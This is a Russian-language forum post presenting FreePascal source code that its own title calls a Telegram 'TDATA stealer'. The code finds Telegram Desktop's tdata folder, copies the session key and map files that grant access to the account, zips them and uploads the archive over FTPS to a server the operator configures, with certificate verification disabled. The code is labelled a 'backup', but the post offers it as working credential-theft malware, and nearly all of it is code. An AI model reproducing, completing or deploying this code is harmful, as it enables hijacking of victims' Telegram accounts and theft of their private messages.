Статья Пример реализации функционала стилера ТГ (TDATA) на FreePascal

Admin

Администратор

Пример реализации функционала стилера ТГ (TDATA) на FreePascal​


Всем привет! Хочу показать примерную реализацию стилера TDATA на FreePascal:
Для работы этого кода тебе понадобятся юниты zipper (обычно в составе fcl-zip) и ftpclient (обычно в составе fcl-web). Убедись, что они установлены и доступны твоему компилятору Free Pascal. (Рекомендую IDE Lazarus).

Код:
Код:
program backuptelegramsessioncompact;

{$MODE DELPHI} // Для удобной работы со строками - включаем режим Delphi
{$H+}          // Строки по умолчанию AnsiString - ускоряем операции со строками

uses
  SysUtils,      // Базовые системные утилиты (FileExists, CopyFile, RenameFile, CreateDir, PathDelim, FormatDateTime, ExtractFileName, IncludeTrailingPathDelimiter, DeleteFile)
  FileUtil,      // Утилиты для работы с файлами и директориями (FindAllFiles, DeleteDirectory, ForceDirectories, GetUserDir)
  DateUtils,     // Утилиты для работы с датами и временем (функция Now)
  Zipper,        // Юнит для работы с ZIP архивами (класс TZipper)
  Classes,       // Базовые классы (TStringList)
  IdFTP,         // Юнит для работы с FTP из библиотеки Indy (класс TIdFTP)
  IdExplicitTLSClientServerBase, IdSSLOpenSSL, IdSSLOpenSSLHeaders; // Юниты с определениями для Explicit TLS и работой с SSL FTP

var
  PathUsr: string;              // Переменная для хранения пути к домашней директории пользователя
  BaseTelegramPath: string;     // Переменная для хранения базового пути к данным Telegram Desktop
  TdataPath: string;            // Переменная для хранения пути к папке tdata
  ConnHashPath: string;         // Переменная для хранения пути к временной папке connection_hash
  MapPath: string;              // Переменная для хранения пути к временной папке map
  ArchiveName: string;          // Переменная для хранения имени ZIP архива (дата и время)
  ZipFilePath: string;          // Переменная для хранения полного пути к временному ZIP файлу
  FinalZipFilePath: string;     // Переменная для хранения полного пути к финальному ZIP файлу
  FileName: string;             // Переменная для итерации по файлам в цикле FindAllFiles
  ZipFileObj: TZipper;          // Объект для работы с ZIP архивом
  FTPClient: TIdFTP;            // Объект для работы с FTP клиентом из библиотеки Indy
  FileList: TStringList;        // Список файлов для поиска
  SSLHandler: TIdSSLIOHandlerSocketOpenSSL; // Объявляем переменную для обработчика SSL/TLS

// --- Конфигурация FTP ---
// >>> Вставь сюда свои данные FTP, братела! <<<
const
  FTPHost = '127.0.0.1';     // Адрес FTP сервера - замени на свой
  FTPPort = 21;                      // Порт FTP сервера (обычно 21)
  FTPUser = 'ftp_user1';         // Логин для подключения к FTP - замени на свой
  FTPPass = '12345678';         // Пароль для подключения к FTP - замени на свой
  FTPRemoteDir = '/';          // Удаленная директория на FTP сервере - замени на свою
// -------------------------

begin // Здесь начинается основной исполняемый код нашей программы

  Writeln('--- Запуск компактного бэкапа сессии Telegram ---'); // Выводим сообщение о старте программы

  // 1. Получаем пути и имя архива
  PathUsr := GetUserDir;             // Получаем путь к домашней директории пользователя (из FileUtil)
  // Формируем путь к папке Telegram Desktop в зависимости от операционной системы
  {$IFDEF WINDOWS}
  BaseTelegramPath := IncludeTrailingPathDelimiter(PathUsr) + 'AppData' + PathDelim + 'Roaming' + PathDelim + 'Telegram Desktop' + PathDelim;
  {$ELSE}
  BaseTelegramPath := IncludeTrailingPathDelimiter(PathUsr) + '.local' + PathDelim + 'share' + PathDelim + 'TelegramDesktop' + PathDelim + 'tdata' + PathDelim;
  {$ENDIF}

  TdataPath := BaseTelegramPath + 'tdata' + PathDelim;           // Формируем путь к папке tdata
  ConnHashPath := TdataPath + 'connection_hash' + PathDelim;     // Формируем путь к временной папке connection_hash
  MapPath := TdataPath + 'map' + PathDelim;                     // Формируем путь к временной папке map
  ArchiveName := FormatDateTime('dd_mm_yy_hh_nn', Now);         // Генерируем имя архива на основе текущей даты и времени
  ZipFilePath := BaseTelegramPath + 'session.zip';              // Устанавливаем временное имя и путь для ZIP архива
  FinalZipFilePath := BaseTelegramPath + ArchiveName + '.zip';  // Устанавливаем финальное имя и путь для ZIP архива

  // Проверяем существование папки tdata
  if not DirectoryExists(TdataPath) then // Проверяем, существует ли папка tdata
  begin
    Writeln('Ошибка: Папка tdata не найдена по пути: ' + TdataPath); // Выводим ошибку если папка не найдена
    Writeln('Убедитесь, что Telegram Desktop установлен и запускался хотя бы раз.'); // Подсказка пользователю
    Exit; // Выходим из программы
  end;

  // 2. Создаем временные директории (ForceDirectories создает и родительские, если нужно)
  Writeln('Создание временных директорий...'); // Сообщаем о создании директорий
  try
    ForceDirectories(ConnHashPath); // Создаем папку connection_hash (и родительские, если нужно)
    ForceDirectories(MapPath);      // Создаем папку map (и родительские, если нужно)
  except
    on E: Exception do              // Если произошла ошибка при создании директорий
      begin
        Writeln('Ошибка при создании директорий: ' + E.Message); // Выводим сообщение об ошибке
        Exit;                       // Выходим из программы
      end;
  end;

  // 3. Копируем нужные файлы в временные директории
  Writeln('Копирование файлов...'); // Сообщаем о копировании файлов
  try
    // Инициализируем список файлов
    FileList := TStringList.Create; // Создаем объект для хранения списка найденных файлов

    try
      // Копируем файлы по паттерну D877F783D5D3EF8?* из tdata в map
      // Этот паттерн ищет файлы, начинающиеся с D877F783D5D3EF8 (файлы карт Telegram)
      FindAllFiles(FileList, TdataPath, 'D877F783D5D3EF8*', False); // Ищем файлы по паттерну в папке tdata (не рекурсивно)
      for FileName in FileList do   // Перебираем все найденные файлы
      begin
        if FileExists(FileName) then // Проверяем, существует ли найденный файл
          CopyFile(FileName, MapPath + ExtractFileName(FileName)); // Копируем файл в папку map
      end;

      FileList.Clear;               // Очищаем список для следующего поиска

      // Копируем файлы по паттерну ??????????* из tdata в connection_hash
      // Этот паттерн ищет файлы с именем длиной >= 10 символов (файлы хешей соединений)
      FindAllFiles(FileList, TdataPath, '??????????*', False); // Ищем файлы по паттерну в папке tdata (не рекурсивно)
      for FileName in FileList do   // Перебираем все найденные файлы
      begin
        if FileExists(FileName) then // Проверяем, существует ли найденный файл
          CopyFile(FileName, ConnHashPath + ExtractFileName(FileName)); // Копируем файл в папку connection_hash
      end;

    finally
      FileList.Free;                // Освобождаем память из-под списка файлов
    end;

  except
    on E: Exception do              // Если произошла ошибка при копировании
      begin
        Writeln('Ошибка при копировании файлов: ' + E.Message); // Выводим сообщение об ошибке
        // Продолжаем выполнение, так как это не критично для создания архива
      end;
  end;

  // 4. Создаем ZIP архив
  Writeln('Создание ZIP архива...'); // Сообщаем о создании архива
  ZipFileObj := nil;                // Инициализируем объект ZIP как NIL
  try
    try
      ZipFileObj := TZipper.Create;   // Создаем объект TZipper для работы с ZIP архивами
      ZipFileObj.FileName := ZipFilePath; // Устанавливаем имя файла архива

      // Добавляем содержимое директории map в архив
      if DirectoryExists(MapPath) then // Проверяем существование папки map
      begin
        FileList := TStringList.Create; // Создаем новый список для файлов
        try
          FindAllFiles(FileList, MapPath, '*', False); // Находим все файлы в папке map
          for FileName in FileList do // Перебираем все найденные файлы
          begin
            ZipFileObj.Entries.AddFileEntry(FileName, 'map/' + ExtractFileName(FileName)); // Добавляем файл в архив в папку map
          end;
        finally
          FileList.Free;              // Освобождаем память
        end;
      end;

      // Добавляем содержимое директории connection_hash в архив
      if DirectoryExists(ConnHashPath) then // Проверяем существование папки connection_hash
      begin
        FileList := TStringList.Create; // Создаем новый список для файлов
        try
          FindAllFiles(FileList, ConnHashPath, '*', False); // Находим все файлы в папке connection_hash
          for FileName in FileList do // Перебираем все найденные файлы
          begin
            ZipFileObj.Entries.AddFileEntry(FileName, 'connection_hash/' + ExtractFileName(FileName)); // Добавляем файл в архив в папку connection_hash
          end;
        finally
          FileList.Free;              // Освобождаем память
        end;
      end;

      ZipFileObj.ZipAllFiles;         // Выполняем создание ZIP архива со всеми добавленными файлами
      Writeln('ZIP архив успешно создан: ' + ZipFilePath); // Сообщаем об успешном создании

    except
      on E: Exception do              // Если произошла ошибка при создании ZIP
        begin
          Writeln('Ошибка при создании ZIP архива: ' + E.Message); // Выводим сообщение об ошибке

          // Очищаем временные файлы при ошибке
          if DirectoryExists(ConnHashPath) then // Проверяем существование папки
            DeleteDirectory(ConnHashPath, False); // Удаляем временную папку connection_hash
          if DirectoryExists(MapPath) then  // Проверяем существование папки
            DeleteDirectory(MapPath, False); // Удаляем временную папку map
          if FileExists(ZipFilePath) then   // Проверяем существование файла
            DeleteFile(ZipFilePath);        // Если временный ZIP файл успел создаться, удаляем его
          Exit;                             // Выходим из программы после критической ошибки
        end;
    end;
  finally
    // Этот блок выполняется всегда, даже если произошла ошибка
    if Assigned(ZipFileObj) then    // Проверяем, был ли создан объект TZipper
      ZipFileObj.Free;              // Освобождаем память из-под объекта ZIP
  end;

  // 5. Удаляем временные директории
  Writeln('Удаление временных директорий...'); // Сообщаем об удалении временных директорий
  try
    if DirectoryExists(ConnHashPath) then // Проверяем существование папки
      DeleteDirectory(ConnHashPath, False); // Удаляем connection_hash
    if DirectoryExists(MapPath) then    // Проверяем существование папки
      DeleteDirectory(MapPath, False);  // Удаляем map
    Writeln('Временные директории удалены.'); // Сообщаем об успешном удалении
  except
    on E: Exception do              // Если произошла ошибка при удалении
      begin
        Writeln('Ошибка при удалении временных директорий: ' + E.Message); // Выводим сообщение об ошибке
        // Продолжаем работу, так как это не критично
      end;
  end;

  // 6. Переименовываем ZIP архив
  Writeln('Переименование ZIP архива...'); // Сообщаем о переименовании архива
  try
    if FileExists(FinalZipFilePath) then // Проверяем, не существует ли уже файл с финальным именем
      DeleteFile(FinalZipFilePath);     // Если существует, удаляем его
    RenameFile(ZipFilePath, FinalZipFilePath); // Переименовываем временный ZIP файл в финальное имя с датой
    Writeln('ZIP архив переименован в: ' + FinalZipFilePath); // Сообщаем об успешном переименовании
  except
    on E: Exception do              // Если произошла ошибка при переименовании
      begin
        Writeln('Ошибка при переименовании ZIP архива: ' + E.Message); // Выводим сообщение об ошибке
        Exit;                       // Выходим из программы после критической ошибки
      end;
  end;

// 7. Отправка файла по FTP
  Writeln('Подключение к FTP и отправка файла...'); // Сообщаем о начале работы с FTP
  FTPClient := nil;                 // Инициализируем объект FTP как NIL
  SSLHandler := nil;                // Инициализируем объект SSLHandler как NIL на всякий случай

  try
    try
      FTPClient := TIdFTP.Create(nil); // Создаем объект TIdFTP (Indy FTP Client) без владельца
      // >>> Создаем объект SSL IOHandler <<<
      SSLHandler := TIdSSLIOHandlerSocketOpenSSL.Create(nil); // Создаем объект SSL/TLS обработчика

      // >>> Братела, ослабляем гайки проверки сертификата для работы с FileZilla с самоподписанным сертификатом! <<<
      // ЭТО ВАЖНО для обхода "SSL negotiation failed" при использовании FileZilla с самоподписанным сертификатом.
      // ВНИМАНИЕ: В продакшене или при работе с чужими серверами это СНИЖАЕТ БЕЗОПАСНОСТЬ!
      // Используй ОСТОРОЖНО!
      SSLHandler.SSLOptions.VerifyMode := []; // Устанавливаем пустой набор проверок. Отключает большинство проверок сертификата.

      // >>> Явно указываем использовать метод TLSv1.2 для совместимости с FileZilla <<<
      SSLHandler.SSLOptions.Method := sslvTLSv1_2;
      // >>> Ограничиваем разрешенные версии протокола только TLSv1.2 <<<
            // Это может помочь, если сервер пытается договориться на чем-то другом, что Indy некорректно обрабатывает после handshake.
      SSLHandler.SSLOptions.SSLVersions := [sslvTLSv1_2]; // Указываем, какие версии протокола разрешены

      // Настройка параметров подключения к FTP серверу
      FTPClient.Host := FTPHost;      // Устанавливаем адрес хоста из константы
      FTPClient.Port := FTPPort;      // Устанавливаем порт из константы (для Explicit TLS обычно 21)
      FTPClient.Username := FTPUser;  // Устанавливаем имя пользователя из константы
      FTPClient.Password := FTPPass;  // Устанавливаем пароль из константы

      // >>> Привязываем SSL IOHandler к FTP клиенту <<<
      FTPClient.IOHandler := SSLHandler; // Указываем FTP клиенту использовать этот обработчик для шифрования

      // Eсли FTP сервак требует FTPS (Explicit TLS), оставляем это. FileZilla по умолчанию так работает.
      FTPClient.UseTLS := utUseExplicitTLS; // Указываем клиенту использовать явное TLS перед логином

      // Добавляем эти строки для FileZilla:
      FTPClient.Passive := True;                    // FileZilla лучше работает в пассивном режиме

      Writeln('Подключение к ' + FTPHost + ':' + IntToStr(FTPPort) + '...'); // Сообщаем о попытке подключения

      // >>> Подключаемся! Тут произойдет SSL Negotiation! <<<
      // Если все настройки SSLOptions правильные и либы OpenSSL в порядке,
      // то negotiation должен пройти, и мы перейдем к отправке команд USER/PASS по TLS.
      FTPClient.Connect;              // Выполняем подключение к FTP серверу.
      Writeln('Подключено и авторизовано.'); // Сообщаем об успешном подключении и авторизации

      // Если мы дошли сюда, TLS соединение установлено.
      // Теперь команды ChangeDir, Put и Disconnect будут идти по зашифрованному каналу.

      FTPClient.ChangeDir(FTPRemoteDir); // Переходим в указанную удаленную директорию на сервере
      Writeln('Перешли в директорию: ' + FTPRemoteDir); // Сообщаем об успешном переходе

      // Отправка файла на FTP сервер
      Writeln('Отправка файла: ' + FinalZipFilePath + ' -> ' + ExtractFileName(FinalZipFilePath)); // Сообщаем об отправке файла
      FTPClient.Put(FinalZipFilePath, ExtractFileName(FinalZipFilePath)); // Отправляем локальный файл на сервер
      Writeln('Файл успешно отправлен.'); // Сообщаем об успешной отправке

      // Отключение от FTP сервера
      Writeln('Отключение от FTP...'); // Сообщаем об отключении
      FTPClient.Disconnect;           // Выполняем отключение от FTP сервера
      Writeln('Отключено.');          // Сообщаем об успешном отключении

    except
      on E: Exception do              // Если произошла ошибка при работе с FTP
        begin
          Writeln('Ошибка при работе с FTP: ' + E.Message); // Выводим сообщение об ошибке
          // Не выходим из программы, так как файл бэкапа уже создан локально
        end;
    end;
  finally
    // Этот блок выполняется всегда, даже если произошла ошибка
    if Assigned(FTPClient) then     // Проверяем, был ли создан объект FTP клиента
      FTPClient.Free;               // Освобождаем память из-под объекта FTP клиента
    // >>> Освобождаем память из-под SSL IOHandler <<<
    if Assigned(SSLHandler) then    // Проверяем, был ли создан объект SSL IOHandler (он мог не создаться при ошибке)
      SSLHandler.Free;              // Освобождаем память
  end;
end.